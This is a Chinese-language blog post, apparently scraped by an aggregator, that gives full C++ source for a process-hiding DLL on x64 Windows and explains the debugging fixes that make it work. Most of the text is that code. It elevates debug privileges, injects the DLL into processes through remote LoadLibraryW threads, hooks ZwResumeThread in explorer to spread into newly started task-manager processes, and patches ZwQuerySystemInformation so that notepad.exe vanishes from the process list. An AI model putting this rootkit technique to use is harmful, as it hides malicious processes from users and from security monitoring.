X64下进程隐藏实现与Debug
之前寫過幾篇進程隱藏的技術貼,但是在X64下代碼沒有成功,昨晚深入調試了一會兒發現了問題所在,這里詳細探討下
先貼上完整的Hide.dll的cpp代碼:
#include "Hide.h" #define SystemProcessInformation 5 #define STATUS_SUCCESS (0x00000000L) #define STATUS_INFO_LENGTH_MISMATCH (0xC0000004L)//*****************************************************↓↓↓常量定義↓↓↓************************************************************ BYTE ZwQuerySystemInformation_origin_byte[5] = { 0, }; BYTE ZwResumeThread_origin_byte[5] = { 0, }; LPCTSTR Dll_Path = L"d:hack.dll"; wchar_t const *Hide_Process = L"notepad.exe"; WCHAR Goal_Name[1][100] = { L"taskmgr" }; WCHAR filename[MAX_PATH]; static DWORD prepid = 0;//*****************************************************↓↓↓函數實現↓↓↓************************************************************ BOOL Whether_Hide_Goal(const WCHAR *processname) {const WCHAR *ori = processname;for (int i = 0; i<1; i++) {processname = ori;while (*processname != '\0') {WCHAR *s = Goal_Name[i];while (*processname != *s && *processname != (*s) - 32 && *processname != '\0') {processname++;}while (*processname != '\0' && (*processname == *s || *processname == (*s) - 32)) {processname++;s++;}if (*s == '\0') {return true;}}}return false; }BOOL IsNt6Plus() { //判斷內核版本是否為NT6+OSVERSIONINFO osvi;ZeroMemory(&osvi, sizeof(osvi));osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&osvi);if (osvi.dwMajorVersion == 6 || osvi.dwMajorVersion == 10) //vista.7.8 = 6 10=10return true;return false; }BOOL MyCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE pThreadProc, LPVOID pRemoteBuf) {HANDLE hThread = NULL;FARPROC pfunc = NULL;if (IsNt6Plus()) {pfunc = (GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx"));if (pfunc == NULL) return false;((PFNTCREATETHREADEX)pfunc)(&hThread, 0x1FFFFF, NULL, hProcess, pThreadProc, pRemoteBuf, FALSE, NULL, NULL, NULL, NULL);if (hThread == NULL) return false;}else {hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);if (hThread == NULL) return false;}if (WAIT_FAILED == WaitForSingleObject(hThread, INFINITE)) return false;return true; }void InjectDll(DWORD pid = 0) {if (pid == 0) return;EnableDebugPrivilege(); //權限提升HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (!hProcess) return;LPVOID pRemoteBuf = NULL;DWORD BufSize = (DWORD)(wcslen(Dll_Path) + 1) * sizeof(TCHAR);//+1:\0pRemoteBuf = VirtualAllocEx(hProcess, NULL, BufSize, MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)Dll_Path, BufSize, NULL);LPTHREAD_START_ROUTINE pThreadProc;HMODULE Kernel32_Handle = GetModuleHandle(L"kernel32.dll");pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32_Handle, "LoadLibraryW");MyCreateRemoteThread(hProcess, pThreadProc, pRemoteBuf);CloseHandle(hProcess);hProcess = NULL; } BOOL EnableDebugPrivilege() {HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);hToken = NULL;}return fOk; } BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {switch (fdwReason){case DLL_PROCESS_ATTACH:GetModuleFileName(NULL, filename, MAX_PATH);if (Whether_Hide_Goal(filename)) { //如果是我們想對其隱藏的進程則對ZwQuerySystemInformation掛鉤hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);}else { //否則一定是explorer則對ZwResumeThread掛鉤hook("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, ZwResumeThread_origin_byte);}break;case DLL_PROCESS_DETACH:unhook("ntdll.dll", "ZwQuerySystemInformation", ZwQuerySystemInformation_origin_byte);unhook("ntdll.dll", "ZwResumeThread", ZwResumeThread_origin_byte);break;}return TRUE; }BOOL hook(LPCSTR DllName, LPCSTR FuncName, PROC Func_New, PBYTE origin_byte) {FARPROC p_ori_func;PBYTE pbyte;DWORD oldprotect;DWORD address;byte newbuf[5] = { (char)233,0, };p_ori_func = (FARPROC)GetProcAddress(GetModuleHandleA(DllName), FuncName); //獲取原函數地址pbyte = (PBYTE)p_ori_func;if (pbyte[0] == 0xE9) return false;VirtualProtect((LPVOID)p_ori_func,5, PAGE_EXECUTE_READWRITE, &oldprotect); //修改5字節屬性為可寫memcpy(origin_byte, p_ori_func,5); //保存原函數前5字節指令address = (DWORD)Func_New - (DWORD)p_ori_func - 5; //計算跳轉到NewZwQuerySystemInformation函數需要的jmp地址memcpy(&newbuf[1], &address,4); //將計算出的地址寫入newbufmemcpy(p_ori_func, newbuf,5); //原函數處寫入jmp xxx實現HookVirtualProtect((LPVOID)p_ori_func,5, oldprotect, &oldprotect); //恢復剛剛調整過的屬性return true; }BOOL unhook(LPCSTR DllName, LPCSTR FuncName, PBYTE origin_byte) {FARPROC pfunc;PBYTE pbyte;DWORD oldprotect;pfunc = (FARPROC)GetProcAddress(GetModuleHandleA(DllName), FuncName); //獲取原函數地址pbyte = (PBYTE)pfunc;if (pbyte[0] != 0xE9) return false;VirtualProtect((LPVOID)pfunc, 5, PAGE_EXECUTE_READWRITE, &oldprotect); //修改5字節屬性為可寫memcpy(pfunc, origin_byte, 5); //原函數前5字節恢復VirtualProtect((LPVOID)pfunc, 5, oldprotect, &oldprotect); //恢復剛剛調整過的屬性return true; }NTSTATUS WINAPI NewZwQuerySystemInformation(ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) {NTSTATUS status;FARPROC pfunc;PSYSTEM_PROCESS_INFORMATION pcur = NULL;PSYSTEM_PROCESS_INFORMATION pprev = NULL;unhook("ntdll.dll", "ZwQuerySystemInformation", ZwQuerySystemInformation_origin_byte); //解除Hook ZwQuerySystemInformation 防止無限循環pfunc = (FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "ZwQuerySystemInformation"); //動態獲取原函數地址status = ((PFZWQUERYSYSTEMINFORMATION)pfunc)(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength); //按照原始參數順序調用原函數if (status != STATUS_SUCCESS) { //判斷調用是否成功不可以的話就斷Hook 返回錯誤statusif (status == STATUS_INFO_LENGTH_MISMATCH) hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);return status;}if (SystemInformationClass == SystemProcessInformation) { //只有SystemInformationClass=5(查詢進程列表)是才進行應用隱藏操作pcur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; //當前指針指向返回的SystemInformation結構體while (TRUE) {if (pcur->ProcessName.Buffer) { //此結構體ProcessName成員的Buffer成員存在則進入if (!wcscmp(pcur->ProcessName.Buffer, Hide_Process)) { //比較此結構體進程名是否為需要隱藏的進程名,是則進行鏈表下鏈操作if (pcur->NextEntryOffset == 0)pprev->NextEntryOffset = 0;elseif (pprev) {pprev->NextEntryOffset += pcur->NextEntryOffset;}else {SystemInformation=(PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur->NextEntryOffset);}}elsepprev = pcur; //非需要隱藏的進程則當前指針和前向指針分別后移一個}if (pcur->NextEntryOffset == 0) //沒有下一個了就退出break;pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur + pcur->NextEntryOffset);}}hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte); //處理完成,再次Hookreturn status; //返回status } NTSTATUS WINAPI NewZwResumeThread(HANDLE ThreadHandle, PULONG SuspendCount) {DWORD pid = GetProcessIdOfThread(ThreadHandle); //獲取新線程的進程PIDif (pid != GetCurrentProcessId() && pid != prepid) {PROCESSENTRY32 pe;pe.dwSize = sizeof(pe);HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);if (INVALID_HANDLE_VALUE != hSnapShot) {BOOL bprocess = Process32First(hSnapShot, &pe);while (bprocess) {if (pe.th32ProcessID == pid && Whether_Hide_Goal(pe.szExeFile)) { //遍歷進程列表如果新創建的進程的名字是要隱藏的目標的話就InjectDllprepid = pid;InjectDll(pid); //DLL注入break;}bprocess = Process32Next(hSnapShot, &pe);}}CloseHandle(hSnapShot);hSnapShot = NULL;}unhook("ntdll.dll", "ZwResumeThread", ZwResumeThread_origin_byte); //防止死循環FARPROC pfn = (FARPROC)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "ZwResumeThread"); //動態獲取原函數地址NTSTATUS status = ((PFZWRESUMETHREAD)pfn)(ThreadHandle, SuspendCount);hook("ntdll.dll", "ZwResumeThread", (PROC)NewZwResumeThread, ZwResumeThread_origin_byte); //再次Hook住return status; }仔細看可以發現,主要有兩處修改,均在NewZwQuerySystemInformation函數內部
修改一原先的代碼:
修改后的代碼:
unhook(); ........ if (status != STATUS_SUCCESS) {if (status == STATUS_INFO_LENGTH_MISMATCH)hook("ntdll.dll", "ZwQuerySystemInformation", (PROC)NewZwQuerySystemInformation, ZwQuerySystemInformation_origin_byte);return status;}為什么要這么修改呢,調試分析X64下的CreateToolhelp32SnapShot可以發現
這里用紅圈畫出的這個CALL為一個關鍵CALL,這個CALL內部調用了ZwQuerySystemInformation這個函數,也就是我們HOOK的函數
內部調用的ZwQuerySystemInformation這個函數在X64下名字是RtlGetNativeSystemInformation
單步步入之后發現確實HOOK成功了,跳轉到我們的新函數NewZwQuerySystemInformation函數,但是繼續跟進調試我們自己實現的NewZwQuerySystemInformation的時候發現,unhook之后調用RtlGetNativeSystemInformation函數后返回了錯誤代碼C0000004。
查詢后發現是傳遞參數的時候出現了大小不夠的情況,但是很奇怪,我們的大小參數都是照搬了他原始的啊,既然我們的出錯了,他們的也一定出錯了,經過調試分析發現確實如此,而且看上面CreateToolhelp32SnapShot函數內部調用RtlGetNativeSystemInformation函數的附近確實有對C0000004錯誤的處理代碼,也就是說,這個錯誤發生后他會加大參數大小然后再次調用這個函數,這次就成功運行了,問題就在這個第二次調用上,我們發現有錯誤后就直接返回NT_STATUS,而沒有再次Hook住這個RtlGetNativeSystemInformation函數,導致第二次調用的時候會出現失效問題,所以判斷如果是STATUS_INFO_LENGTH_MISMATCH這個錯誤那么返回錯誤碼后CreateToolhelp32SnapShot修正大小之后一定會再次調用RtlGetNativeSystemInformation函數,所以需要再次給函數hook住。
修改二原先的代碼:
if (pcur->NextEntryOffset == 0)break;pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pcur + pcur->NextEntryOffset);修改后:
if (pcur->NextEntryOffset == 0)break;pcur = (PSYSTEM_PROCESS_INFORMATION)((ULONG64)pcur + pcur->NextEntryOffset);在遍歷RtlGetNativeSystemInformation填充的SystemInformation結構體的時候需要循環遍歷每個進程信息只對需要隱藏的進程進行隱藏(notepad.exe),但是pcur是64位指針類型,把它強制轉換成ULONG會造成地址高位信息丟失問題,這個屬于x32到x64的細節問題
總結:
這次連分析CreateToolhelp32SnapShot加調試分析修改bug共用了2個多小時吧,習慣了x32的調試分析想搞x64確實有些手生,最大的問題就是參數傳遞的問題,x32里習慣了看一眼站窗口就知道函數調用參數了,但是x64中要從rcx,rdx,r8,r9這些寄存器中找參數,不過這個習慣了之后應該也會很快。
這兩處修改最花時間的是第二處,確實指針截斷實在是太不起眼了,一個是ADD RAX,RBX.一個是ADD EAX,EBX確實區別不大,不過看了當注意到這個的時候就瞬間想到了是類型轉換的問題,修改后終于搞定了這個X64下的進程隱藏問題,激動的我差點叫出來…..不過當時已經2點了,估計叫出來室友想殺我的心都有了.2333…
總結
以上是生活随笔為你收集整理的X64下进程隐藏实现与Debug的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: QQ空间欢迎动画代码大全
- 下一篇: 诛仙手游 法宝属性道法性价比